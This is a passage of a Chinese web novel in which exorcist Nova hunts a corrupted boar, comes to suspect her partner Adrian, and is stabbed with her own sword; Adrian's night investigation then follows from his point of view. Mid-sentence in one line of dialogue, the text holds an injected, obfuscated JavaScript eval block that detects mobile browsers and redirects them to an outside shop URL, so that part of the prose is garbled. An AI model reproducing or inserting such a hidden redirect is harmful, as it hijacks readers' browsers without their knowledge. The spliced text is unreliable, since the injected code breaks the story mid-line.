“能把提灯借我用用吗？”诺瓦对一位拿着提灯的守卫说。 “给。” “回去之后告诉塞勒斯先生，就说我去追查了，让他守在侯爵夫人身边。”诺瓦见守卫点头，立刻走了。 ———— 夏季还没到来，夜里的风还很凉，何况野猪的血溅了她一身，黏在她身上散发着难闻的腥臭味，风一吹便全身发冷。 指针的光芒很微弱，如果不立刻追查，气息很快便会消散。她又一次查看指南针的时候，已经没有迹象了。 这就消失了？ 她再度驱动指南针，指针重新开始旋转，由东方转到了西北方。诺瓦怔了一下，那个侵蚀生命走了？还是因为气息太微弱，指南针搞错了？ 别无他法，诺瓦只能跟着指示转向西北，又回到了刚刚杀死野猪的地方。守卫们已经散去，野猪的尸体也不见了，大概是被守卫们搬走了，只留下一滩黑红的血渍。 气息很微弱，指针又开始胡乱转动。诺瓦环视四周，猜测气息的源头就在这附近，只能自己走一遍了。 先是马厩，木棚被野猪撞了一个洞，阴冷的风不停地漏进来。里面的马匹还相当不安，有一匹白马见到诺瓦作势嘶鸣，诺瓦立马扑上去安抚那匹马，最后白马安静下来，诺瓦才认出那是拉尔夫的柏尔。 从马厩里出来以后，她还有两个地方可去。一是边上的一栋小楼，专门给内院的仆役住的。二是厨房，这厨房贴着大别墅，听说厨房与小餐厅之间有暗门连通。 诺瓦没有太多犹豫，走向了厨房。厨房里还有灯亮着，诺瓦推了推那道门，推不开，好像被锁上了。 过了一会，那门开了，一位厨娘探出头来，脸上带着些许惶恐。她说：“是驱魔人？您这一身血……外面出什么事啦？” “有一只野猪闯进来，已经被我解决掉了。”诺瓦说，“我能进来吗？” “……请。”厨娘打开门，诺瓦便挤了进去。厨房不是很大，杂货却堆了很多，因此显得很拥挤。 “这么晚了，你怎么还在这里？”诺瓦问。 “正常值班。”厨娘一副惊魂未定的样子，“我给明天的早餐备菜呢。要是侯爵夫人半夜想吃点什么，我还得给她做。刚刚外面突然叫了起来，吓死我了，我还以为吸血鬼又来了。” “……原来如此。”诺瓦说。 “您来这里做什么呀？”厨娘脸色不好，显然是怕厨房有什么问题。 “没什么，我就四处看看。”诺瓦说，“我们不是在调查么。楼上是什么？” 诺瓦指向一个窄楼梯。厨娘说：“上面是杂货。有些一时半会用不着的，就堆在上面。” “好，我上去看看。你继续忙吧。” 诺瓦踮着脚走上去，木质楼梯发出吱呀吱呀的响声。上面没有点灯，却并不很黑暗，因为有一个小阳台，月亮正好停在那片天空，有冰凉的月光照进来。 诺瓦扫视四周，地上堆满了麻袋与箱子，里面无非是一些面粉、蔬果之类。她又探出阳台，只见阳台上挂着一根绳子，地面略有油渍，他们大概会在这里晾晒一些肉干吧。 看来这里也什么都没有，她退出去，正打算下楼，手中忽然有如同萤火一般微弱的光芒亮起，诺瓦低头望去—— 一个影子忽然在身后落下，诺瓦惊得转过身来退了一步，看清那个身影后，她怔了一瞬：“温特……？” 艾德里安直接从外面跳上了阳台，此刻他背着光，冷冽的月色给他的身形勾出一道银边，脸上的神情看不真切。 但是，是错觉吗？他的右眼蓝得发亮，像是一团火在燃烧，烧出的温度却几乎冷得令人打颤。 艾德里安的声音也是缥缈的，如临风口，如沉水中：“我在其他地方调查，刚刚听到了骨哨声。发生了什么？” “有一只野猪受到了侵蚀，发狂跑了进来……我刚刚把它杀掉了，现在在查看有没有别的威胁。”诺瓦答道，声音微微发紧。 艾德里安闭了眼，再度睁开时，那团火焰似乎已经熄灭。他说：“有些侵蚀生命会刻意干扰动物的意识，用它们吸引注意。说不定，对方是想将你从侯爵夫人身边引开。” “我就是出来找侵蚀的源头的。塞勒斯还留在那里呢。”诺瓦说。 “找到了你也对付不了。”艾德里安淡淡地说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17614441|206044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，“你现在应该守在侯爵夫人身边。回去吧，剩余的交给我。” “……好。”诺瓦应道。 艾德里安转身要走，却忽然站定，说：“他们知道野猪被侵蚀了吗？” “我还没告诉他们。”诺瓦说。 “你回去之后，只说那是一只普通的野猪。至于塞勒斯，他问的话就告诉他真相，但也要让他保密。”没等诺瓦回答，艾德里安从阳台上一跃而下。 艾德里安消失的那一刻，诺瓦下意识地往后跌了一步。攥住心脏的那只手仿佛松开了，于是她可以感受到心脏搏动，滚烫的血液重新泵入冰凉的四肢。阳台上有凛冽的风扑到她的脸上，她眨了眨眼，背上的汗转瞬冷了。 刚刚，诺瓦一直在用指南针查找附近的侵蚀生命，在最后一刻，指针忽然旋转，发出了淡淡的蓝光——指针指向的，是阳台的方向。 艾德里安落在阳台的时候，她手腕轻翻，将手里的指南针藏到了过长的袖子里。现在她再度将黄铜翻盖打开，随着艾德里安的离开，指针也已经安静下来了。 ———— 艾德里安在白天说的话是没错的。指南针只是一种简易仪器，出点差错一点也不奇怪。说不定是指南针搞错了呢？但那一瞬几乎是从脚底涌起的诡异感绝不是假的，只要回想，那种恐惧就如同身临其境般明晰。 诺瓦匆匆回去，步伐越来越快，到最后跑了起来。她很快意识到这件事不能随便说出来——不管艾德里安到底是什么东西，至少此刻他还没有动手的打算，贸然揭穿反而可能刺激他做出进一步的行动。 对于普通人来说，这个消息带来的是恐慌还是团结呢？她是和艾德里安一起来到庄园的，他们一旦开始怀疑艾德里安，结果一定会导向怀疑她。 那么拉尔夫呢？就算拉尔夫没有任何问题，以他的性格，大概会立即揭开这个事实吧？ 诺瓦的脑子一片混沌，一直到回到亮堂堂的大别墅里，整个人还是呆滞的。 “维里安！” 诺瓦打了个颤，灵魂回到躯壳里。她抬起头来，是拉尔夫。只见他从二楼探出半个身子向她挥手：“情况怎么样？我听说是一只野猪。” 诺瓦上了楼，低声对拉尔夫说：“那只野猪被侵蚀了，我把它解决掉了。” 拉尔夫讶异了一阵，诺瓦直做嘘声的手势：“我本来打算追查，但路上遇见了温特先生。他让我先回来，说他会去追查。他还让你保密，只当那是一只普通野猪。” “噢，这样啊。”拉尔夫表示理解地眨了眨眼，“那你先去休息吧，你现在一身都是血！今天就由我在这里守夜，有事我再叫你。” “好。”诺瓦松了一口气，这样她就有时间一个人把事情捋一捋了。 诺瓦回了房，进去卧室，利落地把银剑靠在床头，点燃煤气灯。 黄色的灯光亮起的一瞬，她站住了。过了一会，她挪了一步，转过身去，看见自己映在全身镜中：头发在奔走后有些凌乱，衣裙上全是血迹，她自己倒是没怎么受伤，都是那头野猪的血；表情呆滞，一动不动。煤气灯的光亮落在黯淡的镜子上，晕成一颗刺眼的太阳。 她很突兀地被一个事实击中了：在这里，她不清楚任何人的底细。任何人都可以是敌人。 这座庄园就这样笼盖在了迷雾之中，什么都看不真切。诺瓦忽然之间感到非常疲惫，也不想什么梳理事态了，把衣服换了，赶紧去睡觉吧。 对了，在此之前，还要先把剑擦一下……先灵会的制式银剑是镀银钢刃，要及时擦干血迹，定期抹油保养。 她下意识地去拿床头的剑，结果摸了个空。身体比意识还要快，她猛地望过去——剑不见了。 巨大的恐慌在她的心中升起，不是放在这里的吗？诺瓦在房间里走动，四处张望。床头没有。地上没有。矮柜旁也没有。 忽然，诺瓦又瞥见了阳台。她定住了。 阳台门也是开着的，但月亮不照在这里，外面黑洞洞的，恍若深渊大张着嘴，阴冷的风幽幽地吹进来，让她打了个寒颤。 走之前关上阳台门了吗？她又一次怀疑自己的记忆。 不，不，不要被刚刚见到艾德里安时的情绪影响了。她咽了咽口水，上前关上阳台门，头也不回地离开。 就在这时，一束闪光钉入她的脊椎。 神经仿佛在一瞬间被尽数切断，整个身躯陷入短暂的空白。她剧烈地抽搐了一下，温热的腥甜不受控制地从嘴角溢出。她战栗着微微低下头—— 银亮的、冰冷的蛇，从她的胸前探出头来。 是她无比熟悉的银剑。 痉挛的胸腔挤出血液，沿着剑脊淌流，在剑身上堆出片片蛇鳞，随她粗重的吐息舒展。 鳞甲森然，列阵堂皇，映出她冷汗直流、痛苦扭曲的脸。 10. 7.深夜巡查 7.深夜巡查/NightPatrol 艾德里安·温特的生活很有计划性。他的空闲时间似乎永远都被用来思考“几点到几点做什么事”。 今天是抵达温泉庄园的第一天，他们已经完成了初步的走访，又因为侯爵夫人的温情关怀——或者说是要求，将部分调查推后到明天。彼时是下午五点，艾德里安又飞快地重新规划了五点以后的事项。 五点到七点，他为了晚上的通宵提前小睡了一会。七点钟起床，简单打理了一下后去吃晚餐。之后又将符文画好，派人交给诺瓦和拉尔夫。再之后，他写了今天的日志。 这时已经将近九点了，别墅里已经渐趋安静，陪着守夜侍女聊天的女伴离开了，侍女开始坐在走廊的沙发上发呆。 艾德里安一直等到别墅的大厅已经没有人徘徊，于是佩上银剑，带上必要的简易仪器，开始行动了。 ———— 艾德里安从阳台跳下去，站定后回头望一眼这栋偌大的房子。很多窗户已经黑了，有的窗户里虽有光芒，却都已经微弱，淡淡的橙黄色晕在黑暗里。 接下来，他向白天去过的那栋雇农宿舍奔去。他的速度很快，如同乘风而行，最后落在了屋顶上。 艾德里安在屋顶上来回踱步，视野之内，白天的茵茵嫩绿已经融化在了黑夜里，满目寂寥，唯有一轮银月高悬天边，散发着莹润的光芒。 这栋房子在庄园的西北方向，再往西过去一点，就是山林了。艾德里安往东远眺，可以看见内院的大别墅和贴着它的一堆小楼房的楼顶。 如果是缺乏心智的野生低等吸血种来随机杀人，大概会就近选择目标。也就是说，大概是从西边的山林来的。 艾德里安稍作徘徊，判断屋顶的烟囱很小，吸血种进不去。他随即从屋顶落下，跳到干草垛上，抬头一望，便看到二楼走廊的窗户。安妮·莱利就死在这窗户里面。 他扒上去，轻推那扇窗户。那个胖太太没说谎，这里的窗户每晚都锁上。要破窗而入当然可以，但这窗户就不可能那么完整了。他又去了房屋另一边，那里是走廊对面的另一扇窗户，情况一模一样。 他从屋后望过去，排排窗户已经黑暗。雇农们日出而作日落而息，睡得更早。如果要破窗而入，一定会被发现的。 那么，只能从正门走了。 艾德里安又来到了前门处。雇农宿舍没有专门的守卫留守，门廊处漆黑一片。他放轻步子，走了进去。 暗处有什么东西窸窣一响，艾德里安望过去，只见白天的那只狗冲出来叫了一声。艾德里安心中一惊，下一刻这狗的步子却放慢了，歪着头吐出轻轻一声：“呜……？” 艾德里安松了一口气，做了一个嘘声的手势。那狗在他身边摇着尾巴绕了两圈，抬起头来嗅他，艾德里安微抬手掌，贴住它的鼻子，随后揉了揉它的脑袋。 艾德里安上了楼，这狗在他身后两步的位置跟了上来。看来这狗很聪明，白天打了个照面就记住了他，而且还不算对他完全放心，知道跟过来看着。 只是，如果吸血种真的是从正门进来的，为什么这只狗没有任何反应呢？它要么叫一阵，把人都引过来，要么被吸血种随手杀死，而不是像现在这样，如同什么都没有发生一样。 艾德里安又走到了命案发生的地方，那里空无一物。 但是，对他而言，并非什么都没有留下。 艾德里安灰蓝色的右眼忽然诡异地亮了起来，犹如鬼火燃烧。 “呜！”大狗忽而抖擞，窜上来盯着艾德里安——有那么一瞬间，气息仿佛变了，但艾德里安明明还是老样子。狗又去闻他的手腕，担忧地甩甩尾巴，不解地退下了。 艾德里安怔怔地凝望着，恍若灵魂出窍。 安妮·莱利是先挨了一击，被刺穿了胸膛，而后才被吸血。溅在墙壁上的血液只是被新漆掩盖了，并非消失了。 既然有受害人的残余，那也就是说，可以通灵。 ———— 潮水涌来。过往如同潮水涌来，将世界淹没了。 日光在水面上方摇曳，被水波撕扯得破碎。艾德里安下坠着，眼前的一切都变得扭曲而混乱。 有声音交替响起，断续的话语，碗碟碰撞的脆响，细碎的脚步，都被尽数揉碎，成为水浪中的嗡鸣。艾德里安紧皱眉头，分辨了片刻，才明白这只不过是这栋房子日常的喧嚷而已。 他放任意识落入混沌的深处。尽头是绿色的，是这个庄园的春季里新芽的绿色，枝繁叶茂，破碎绵延。一个苍白而模糊的影子驻留在那里。 他想要靠近那个影子，却注意到那个影子在崩解，化成细碎而苍白的砂粒流散。明明没有风，流到哪里去了呢？ 接着世界也崩解，水底的漩涡裹着艾德里安坠入深处，而后，他猛然惊醒。 他喘息着蹲坐在地上。大狗又过来，用嘴拱了拱他，好像很高兴他还是他。艾德里安又摸了摸它的头，晃了晃脑袋，整理自己的神思。 支离破碎的日常。溢满悲伤的绿色之地。缓慢而决然的崩解与消逝。 与死者残留的迹象通灵，见到的意象总是与死者死前的状况相关。而他所见到的一切，对于这个女孩的死态来说，似乎太过舒缓了。 情绪也不对。比起预想中的震惊与恐惧，更像一种如同河水一般久远淌流的悲伤，就仿佛是……她知道自己的结局一样。 艾德里安的脸色渐趋凝重。有一种情况，狗不会警觉，安妮也多少会料想到自己的结局。 ——如果那个吸血种是熟人呢？ ———— 艾德里安又回到了屋顶上，在这里眺望整座庄园。他划亮火柴，点燃烟卷，第一口吸得很深，吐出的烟雾在夜风里飘摇远走。 通灵是一件很累人的事情，那种共感如同将自己的意识放入别人的灵魂里，与别人的精神拧作一团。他听说过，先灵会有些擅长通灵的驱魔人，因为过于自信，轻易地潜入了某些暴躁而强大的灵魂，最后失去了理智。 每次通灵过后，他都要冷静一会，确保自己的记忆没有出现差错。 烟灰寸寸跌落，渐趋燃尽。他把烟蒂按在瓦片上熄灭，留下一个小小的黑点，然后重新开始思考。 只要那个吸血种是庄园里的人，一切都好解释了。 狗不会警觉，随意地放他上了楼。等到吸血种杀了人，再过了一会，狗闻到弥漫开来的血腥味，跑上楼叫了起来。 这个吸血种和安妮有过交流，安妮知道自己迟早要死在他的手上，所以死前的情绪才是那样的，所以她在死前没有太多反抗。 能够确认这一点的话，接下来就只剩排查了。 就在这时，他口袋里的骨哨响了。 ———— 艾德里安赶回内院的时候，并没有跟随骨哨指示的方向，而是用通灵感受气息的流向。 这个时间，内院意外地很热闹，大概是都醒过来了吧？但大多是普通人的气息，而侵蚀生命的气息很微弱，大概在东方。 他从西北方向重新落入内院的地面，这个时候，东边的气息消失了。于是他徘徊着，再度寻找那份气息。 这时，他瞥见了不远处一个熟悉的身影经过，是诺瓦。 不如直接去问问发生了什么事吧。这么想着，艾德里安追了上去。 见到诺瓦进了厨房，他犹豫了片刻，他并不想打扰这里的仆役。于是他熄了自己的右眼，跳上厨房的二楼。 他落在了厨房二楼的阳台上，里面提着灯的人一惊，转过身来。诺瓦呆呆地说：“温特……？” 艾德里安见她衣裙上都是血，但却并没有受伤的迹象，看来是经过了战斗并取得了胜利。艾德里安平静地问道：“我在其他地方调查，刚刚听到了骨哨声。发生了什么？” “有一只野猪受到了侵蚀，发狂跑了进来……我刚刚把它杀掉了，现在在查看有没有别的威胁。”诺瓦说。 艾德里安从音调里听出了些许紧张。他有些头痛地闭了眼，那份力量在使用之后，总会有些许停留再慢慢散去，希望她没有察觉到什么异样。 艾德里安说：“有些侵蚀生命会刻意干扰动物的意识，用它们吸引注意。说不定，对方是想将你从侯爵夫人身边引开。” “我就是出来找侵蚀的源头的。塞勒斯还留在那里呢。”诺瓦说。 艾德里安心里叹了一口气，问题大概没有那么简单。与预料中的不同，如果不是随机杀戮的低等吸血种，而是能够伪装成人类的高等吸血种的话，那就不是他们中的任何一个人能够轻易解决的了。 “找到了你也对付不了。”艾德里安说，“你现在应该守在侯爵夫人身边。回去吧，剩余的交给我。” “……好。” 艾德里安转身要走，但他忽然想起了什么。他说：“他们知道那野猪被侵蚀了吗？” “我还没告诉他们。”诺瓦说。 “那你回去之后，只说那是一只普通的野猪。至于塞勒斯，他问的话就告诉他真相，但也要让他保密。”艾德里安说完就走了。 现在，他有了新的目标。 ———— 如果只当作是普通的野猪，大部分人应该就此入睡了，第二天或许会一边修着被弄坏的篱笆，一边骂骂咧咧地说起这件事。但如果知道是被侵蚀的野猪，或者干脆是放出这只野猪的人，那可能就是别的反应了。 通灵能够感受附近的生命气息，沉睡的和仍在活动的有所不同，能够借此粗略地感受气息主人当前的状态。这样一来，或许可以发现谁有蹊跷。 艾德里安在屋顶上重新开启了通灵，一边探查着气息，一边等待着。估摸着诺瓦已经将信息传达过去了，他再度开始行动。 消息将从大别墅传出来，于是他先去了那里。 他在屋顶上来回踱步，通灵将整栋楼的气息摊开在他眼前。留在这里的大部分人都要值班守夜，艾德里安能感受到他们的疲惫。而二楼认识的那几个人都没睡：拉尔夫还是兴致勃勃的样子，诺瓦有些低沉，侯爵夫人似乎有些紧张，博蒙特还是待在侯爵夫人身边，气息硬得像石头。 没有很异常的情况。艾德里安想着，向西走去。厨房有一个值班的厨娘，正常。再度往西，是内院仆役们住宿的小楼，大部分人都已经熟睡，只有少数几个人醒着。 艾德里安正发动通灵，要感受他们的状态，然而，一种极其强大的气息忽然奔涌而来，那几个仆役的气息便如同河滩上的石子一般被淹没了。 艾德里安猛然回望过去，看见大别墅的屋顶在莹白的月亮之下。萧瑟的夜风里，连朦胧的月色都带上了血腥气。 艾德里安进一步展开了通灵，右眼发热，近乎灼烧。那个方向，有一只模糊的眼睛缓缓睁开。他大睁着眼睛，想要看得更加清楚，而那只眼睛也同样转了过来—— 一道无形的电流从瞳孔灌入，如同剑雨穿透了他的大脑。 “唔！”艾德里安踉跄了一步，生理性的泪水从眼眶里涌出，他大口大口地喘着气，近乎呕吐。他的眼前只有淋漓的噪点，耳中涌起喧嚣的嗡鸣。 他深吸一口气，咬牙再度望过去，那只眼睛还在那里，它还在望着他吗？ 不知道。它只是存在着，光是存在就像是在冷笑。 还会再来吗？艾德里安的眼皮跳个不停，冷汗直流，渐渐地有些意识恍惚。他咬了咬舌尖让自己保持清醒，却忽然发现，对方退去了。 如释重负。艾德里安跪倒在瓦片上喘息，平复心跳。可以确定的是，他被发现了。 刚才那一下非常痛苦， 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是哭泣声。随着艾德里安进入状态，哭泣声愈发清晰，那是一种很得体的、低低的啜泣，声音的主人大概是不会哭得满脸鼻涕的。 “不用紧张，只是一只野猪而已，我们已经把它解决掉了。”是拉尔夫的声音，原来他在这里。 那人还在哭泣。 “莉迪亚，莉迪亚。”粗哑的女声响起来，是博蒙特。她的语气意外地轻柔：“有我在呢。” 莉迪亚……是侯爵夫人的名字，第三人就是她了。但她和博蒙特这么亲密么？ 侯爵夫人轻轻吸了吸鼻子，说：“没事，我要安静一会。拉尔夫，你先出去好不好？” “……那好吧。”拉尔夫说，“有什么事都可以和我说。我今天整晚都在外面，不用担心！” 脚步声响起，拉尔夫出去了，应该是回到走廊了。 拉尔夫倒是和平时没有太大差别。看样子，是侯爵夫人被那只闯入的野猪吓到了，拉尔夫来安慰她。 但她没有和那只野猪打过照面吧？诺瓦已经把野猪解决掉了，没有伤亡，至于被吓到么？ 房间里一时半会没人说话，有水声响起，然后是瓷器碰撞的声音，大概是在倒水。 “给。我早就说过了，早点离开这里就没事了。我们不用为拉尔夫的头脑发热买单。”博蒙特顿了顿，“昨天米切尔坐火车去艾恩代尔采购，我们就应该一起离开。现在也不晚。” “那只野猪真的只是普通的野猪么？”侯爵夫人没有回应博蒙特的建议，“这个时候出这种事，总觉得太奇怪了……” “不用着急，明天我去确认一下。”博蒙特说。 “是那个家伙，又在捣鬼了……”侯爵夫人又哭了起来。 艾德里安心想，“那个家伙”是指吸血种么？……是指他刚刚面对过的那个么？ “你还没有回应我的建议，莉迪亚。”博蒙特说，“我们离开这里吧。” “离开这里，又能去哪里呢？”侯爵夫人说，“其实我没有可去的地方……” “停，停。”博蒙特的声音轻轻的，“就算是这样，我们也不想那么远的事情。我们先躲开眼前的危……” “博蒙特，外面是不是有人？”侯爵夫人忽然说。 艾德里安一惊，迅速翻到坡形屋顶的另一边。博蒙特随即推开了阳台门：“谁在那里？” 艾德里安心跳得很快，但他听到了搬梯子的声音，看来博蒙特并不能像他一样在屋顶乱窜。趁这个时候，艾德里安快速地跳下屋顶，离开了。 他在外面待了好一会。估摸着时间，博蒙特大概已经把别墅走了个遍，回去向侯爵夫人报告，他这才从正门回到了自己的房间。 艾德里安一回去，就点燃了写字桌旁的煤气灯，开始写信。 看来，这里的情况比他想象中要复杂得多，先灵会对这个委托也产生了误判。事已至此，他必须请信得过的人来帮忙。 考虑到信还要通过电报发出去，为了避免惊动电报员，还不能将现状写得太过露骨。 于是他落笔写道： “薇洛·伍德： 我正执行委托，因为不会通灵，没有头绪，想请你过来协助，地点是艾恩代尔的卡斯特尔温泉庄园。先前提及的入队事宜，你考虑得怎么样了？ 艾德里安1124年3月21日” 艾德里安放下笔，拿着纸张端详一阵，长吐一口气。 虽然有私人线路，但电报稿还是不宜写得过长。不过，薇洛应该能够察觉异样了。 艾德里安将信纸折起放入信封，离开房间。拉尔夫还在走廊守夜，听见开门的声响，下意识地望了过去。或许是因为困倦，他呆了好一会才站起来：“啊，温特。” 艾德里安走过去，向他展示信封：“这里有电报机吧？我想发电报。” “有。不过在车站那边，而且电报室只有白天才有人。”拉尔夫说，“你可以把信给我，我明天帮你去发。” “……好。”艾德里安将信封递给他，“不过要尽快，最好明天早上就发。” “行，天一亮我就把电报员拱起来，把他绑去电报室。”拉尔夫笑道，“是什么事？这么急。” 艾德里安迟疑片刻：“现在没有新的线索，我想请一个善于通灵的朋友过来。” “噢，好啊。”拉尔夫高兴起来，他还没有见过善于通灵的人呢。 “我今天晚上没有事了，换我在这里守夜吧。”艾德里安说，“你先去睡觉，明天早上……你还要去拱电报员起床。” “好。”拉尔夫见有人替自己，也不推辞了。 后来的整晚，艾德里安端坐在走廊的沙发上沉默不言。在昏暗的灯光下，他轻轻抚摸了闭上的右眼。